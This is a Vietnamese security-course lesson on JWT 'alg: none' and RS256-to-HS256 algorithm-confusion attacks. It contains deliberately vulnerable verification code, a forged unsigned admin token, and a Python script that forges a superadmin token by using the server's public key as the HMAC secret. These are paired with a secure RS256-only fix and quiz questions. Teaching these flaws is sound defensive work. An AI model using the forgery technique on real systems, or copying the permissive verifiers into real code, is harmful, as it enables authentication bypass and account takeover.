Giải phẫu & Khai thác Lỗ hổng Ứng dụng
9/21
Bài 9 / 21~13 phútXác thực & Danh tính Hiện đạiMiễn phí… lượt xem

Tấn công JWT: Thuật toán None và Algorithm Confusion

Giải mã cơ chế nhầm lẫn thuật toán đối xứng và bất đối xứng (RS256 vs HS256) cùng lỗ hổng None algorithm trong JSON Web Token.

TL;DR: JSON Web Token (JWT) là chuẩn mực xác thực phi trạng thái (Stateless Authentication) phổ biến nhất trên web và microservices hiện nay. Tuy nhiên, tính linh hoạt trong thiết kế của JWT lại là nguồn gốc của hai lỗ hổng kinh điển: chấp nhận thuật toán không mã hóa (alg: none) và nhầm lẫn thuật toán (Algorithm Confusion / Key Confusion). Bằng cách thao túng trường header alg từ bất đối xứng (RS256) sang đối xứng (HS256), kẻ tấn công có thể sử dụng chính khóa công khai (Public Key) công khai của máy chủ để ký giả mạo token quản trị viên mà không cần biết khóa riêng tư (Private Key).

1. Scenario — Cổng API tài chính chấp nhận chữ ký rỗng

Một ngân hàng số cung cấp API thanh toán dành cho các đối tác tích hợp. Client gửi JWT qua header HTTP:

HTTP
GET /api/v1/accounts/balance HTTP/1.1
Host: bank.internal
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDAyIiwicm9sZSI6InVzZXIifQ.k8X...

Đoạn mã xác thực tại API Gateway sử dụng một thư viện JWT đời cũ:

Python
# Vulnerable JWT verification middleware
import jwt

def authenticate_request(token):
    # Developer verifies token without enforcing algorithm
    try:
        payload = jwt.decode(token, PUBLIC_KEY, algorithms=['RS256', 'none', 'HS256'])
        return payload
    except jwt.InvalidTokenError:
        return None

Kẻ tấn công sửa đổi payload của token thành {"sub": "admin", "role": "admin"}, đổi trường header alg thành none, và loại bỏ hoàn toàn phần chữ ký thứ 3:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

Hệ thống lập tức chấp nhận request và trả về toàn bộ dữ liệu tài khoản quản trị. Thư viện JWT đã coi token là hợp lệ vì trường alg: none ra lệnh bỏ qua bước kiểm tra chữ ký.

2. Analogy — Chữ ký công chứng và bản hợp đồng tự chế

Hãy so sánh hai phương thức xác thực tài liệu pháp lý:

  • Chữ ký công chứng chuẩn (Asymmetric Verification): Người bán nhà dùng con dấu bảo mật riêng (Private Key) để đóng dấu lên hợp đồng. Văn phòng công chứng sử dụng mẫu dấu đã đăng ký công khai (Public Key) để đối chiếu. Bất kỳ ai cũng có thể xem mẫu dấu, nhưng không ai có thể tạo ra con dấu thật nếu không nắm trong tay phôi dấu gốc.
  • Quy ước mật khẩu chung (Symmetric HMAC): Hai đối tác quy ước một mật khẩu bí mật dùng chung (Shared Secret). Bất kỳ văn bản nào có kèm mật khẩu này đều được coi là hợp lệ.

Trong Algorithm Confusion, kẻ tấn công đánh lừa văn phòng công chứng bằng cách tuyên bố: "Hợp đồng này không dùng con dấu, mà dùng mật khẩu bí mật; và mật khẩu bí mật chính là bức ảnh chụp con dấu công khai treo ngoài cửa sổ":

Khái niệm đời sốngCơ chế trong JWT Algorithm Confusion
Khóa riêng tư của chủ nhàPrivate Key (RS256) giữ an toàn trên Auth Server
Mẫu dấu treo công khaiPublic Key (RS256) cung cấp công khai qua endpoint /certs
Mật khẩu bí mật dùng chungShared Secret (HS256) dùng trong thuật toán HMAC
Mánh khóe hoán đổi quy ướcÉp server lấy chuỗi byte của Public Key làm Shared Secret

3. Vì sao cơ chế linh hoạt của JWT dẫn tới Algorithm Confusion?

Mô hình Algorithm Confusion: Dùng Public Key làm HMAC Secret

Cấu trúc chuẩn của một chuỗi JWT gồm 3 phần ngăn cách bởi dấu chấm .:

Plain Text
JWT = Base64URL(Header) . Base64URL(Payload) . Signature

Header chứa metadata chỉ định thuật toán ký:

JSON
{
  "alg": "RS256",
  "typ": "JWT"
}

Bản chất của thuật toán bất đối xứng (RS256 - RSA Signature with SHA-256):

  • Máy chủ phát hành dùng Private Key để ký số.
  • Máy chủ xác thực (Resource Server) dùng Public Key để kiểm tra tính toàn vẹn. Khóa Public Key này thường được công khai hoàn toàn trên Internet.

Trong bài học trước, bạn đã tìm hiểu về các cờ bảo vệ thông tin nhận dạng:

Nhớ lại —

Ôn lại cách bảo vệ session token chống truy xuất trái phép từ JavaScript client-side qua cờ HttpOnly.

Lỗ hổng Algorithm Confusion xảy ra khi hàm xác thực được viết lỏng lẻo:

Python
# Flawed logic: Passing PUBLIC_KEY to jwt.decode() without fixing algorithm
jwt.decode(token, PUBLIC_KEY)

Khi kẻ tấn công gửi lên token có header alg: HS256:

  1. Thư viện đọc trường alg từ header và thấy yêu cầu dùng thuật toán đối xứng HMAC-SHA256.
  2. Hàm HMAC yêu cầu một chuỗi khóa bí mật (Secret Key).
  3. Do lập trình viên truyền biến PUBLIC_KEY vào vị trí tham số khóa xác minh, thư viện liền lấy luôn nội dung chuỗi của Public Key làm HMAC Secret Key.
  4. Vì kẻ tấn công cũng có được Public Key trong tay, kẻ tấn công hoàn toàn có thể tự tính toán chữ ký HMAC hợp lệ bằng chính Public Key đó trên máy của mình. Kết quả là token giả mạo vượt qua khâu kiểm tra chữ ký 100%.

4. Kỹ thuật tạo Token giả mạo qua Python

Khai thác Algorithm Confusion đòi hỏi xử lý định dạng khóa công khai chuẩn xác:

Python
import jwt
import requests

# 1. Fetch public key PEM from target
public_key_pem = requests.get("https://bank.internal/.well-known/jwks.json").text

# 2. Forge payload with elevated admin role
forged_payload = {
    "sub": "administrator",
    "role": "superadmin",
    "iat": 1700000000,
    "exp": 1900000000
}

# 3. Sign using HS256 using public key as HMAC secret
forged_token = jwt.encode(
    forged_payload,
    key=public_key_pem,
    algorithm="HS256",
    headers={"alg": "HS256", "typ": "JWT"}
)

print(f"[+] Token gia mao: {forged_token}")

Thử ngẫmNếu Public Key trên server chứa ký tự xuống dòng \n theo chuẩn PEM (-----BEGIN PUBLIC KEY-----), script của kẻ tấn công có cần giữ nguyên các ký tự \n đó không?

Câu trả lời là có: HMAC tính toán dựa trên chuỗi byte chính xác; chỉ cần thừa hoặc thiếu một ký tự xuống dòng \n hay khoảng trắng, hàm băm sẽ cho ra chữ ký hoàn toàn sai lệch.

🐛 Tìm bug trong code này
# JWT verification middleware
import jwt

def verify_user_token(token, rsa_public_key):
  # Developer forgets to enforce allowed algorithms
  header = jwt.get_unverified_header(token)
  alg = header.get('alg', 'HS256')
  return jwt.decode(token, rsa_public_key, algorithms=[alg])

5. Pitfalls & Giải pháp khắc phục triệt để

❌ Bẫy thường gặp: Danh sách thuật toán quá rộng rãi

Nhiều lập trình viên cấu hình thư viện JWT với danh sách thuật toán mặc định của thư viện hoặc cho phép nhiều họ thuật toán cùng lúc:

Python
# ANTI-PATTERN: Multiple algorithm families in the same verifier
payload = jwt.decode(token, KEY, algorithms=['RS256', 'HS256', 'ES256'])

Khi cho phép cả thuật toán đối xứng (HMAC) và bất đối xứng (RSA/ECDSA), nguy cơ nhầm lẫn khóa sẽ luôn rình rập nếu đối số khóa không được kiểm soát chặt chẽ theo từng nhánh logic.

✅ Giải pháp chuẩn mực: Khóa chặt thuật toán và kiểm tra kiểu khóa

Quy tắc bất di bất dịch khi xác thực JWT:

  1. Chỉ định duy nhất 1 thuật toán dự kiến: Nếu hệ thống dùng RSA, chỉ chấp nhận algorithms=['RS256'].
  2. Loại bỏ hoàn toàn none: Không bao giờ đưa none vào danh sách thuật toán được chấp nhận trên môi trường production.
Python
# SECURE PATTERN: Enforcing single expected algorithm
import jwt

def verify_token(token, public_key_pem):
    return jwt.decode(
        token,
        public_key_pem,
        algorithms=['RS256'],  # Strictly enforce RS256 only
        options={
            "verify_signature": True,
            "require": ["exp", "iat", "sub"],
            "verify_exp": True
        }
    )

Khi được cấu hình như trên, nếu kẻ tấn công gửi token chứa alg: HS256 hoặc alg: none, thư viện sẽ lập tức từ chối với lỗi jwt.exceptions.InvalidAlgorithmError trước khi thực hiện bất kỳ phép tính chữ ký nào.

6. Đào sâu

Tài liệu tham khảo chuyên sâu về bảo mật JWT:

7. Tóm tắt

  • Lỗ hổng None Algorithm bắt nguồn từ việc thư viện chấp nhận token không có chữ ký khi header alg được gán giá trị none.
  • Algorithm Confusion khai thác sự thiếu sót của máy chủ trong việc kiểm soát loại khóa: máy chủ dùng Public Key RSA làm Secret Key cho hàm HMAC.
  • Kẻ tấn công có thể dễ dàng tạo chữ ký HMAC hợp lệ bằng chính Public Key được công bố rộng rãi của hệ thống.
  • Biện pháp khắc phục tối thượng là khóa cứng thuật toán mong đợi (algorithms=['RS256']) và từ chối mọi token không khớp thuật toán này.

8. Tự kiểm tra

Tự kiểm tra
0/5 câu đã trả lời
  1. Q1
    Tại sao chuẩn RFC 7519 ban đầu lại đưa thuật toán 'none' vào trong đặc tả của JWT?
  2. Q2
    Trong tấn công Algorithm Confusion, nếu Public Key của server được lưu dưới dạng JWK (JSON Web Key) thay vì chuỗi PEM, kẻ tấn công phải xử lý khóa như thế nào?
  3. Q3
    Một số thư viện JWT hiện đại (như PyJWT v2+) đã tự động bảo vệ trước Algorithm Confusion như thế nào?
  4. Q4
    Ngoài việc leo quyền admin, kẻ tấn công có thể làm gì nếu khai thác thành công None algorithm?
  5. Q5
    Nếu secret key dùng cho thuật toán HS256 là một chuỗi ngẫu nhiên ngắn (ví dụ: 'secret123'), kẻ tấn công có thể phá vỡ nó như thế nào mà không cần Algorithm Confusion?

Bài tiếp theo: Khai thác JWT qua Header Injection và thao túng khóa

Bài này có giúp bạn hiểu bản chất không?

Bài này đáng gửi cho bạn học cùng?

Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.

Thảo luận & góp ý

Hỏi đáp về bài này

Bài tiếp theo

Khai thác JWT qua Header Injection và thao túng khóa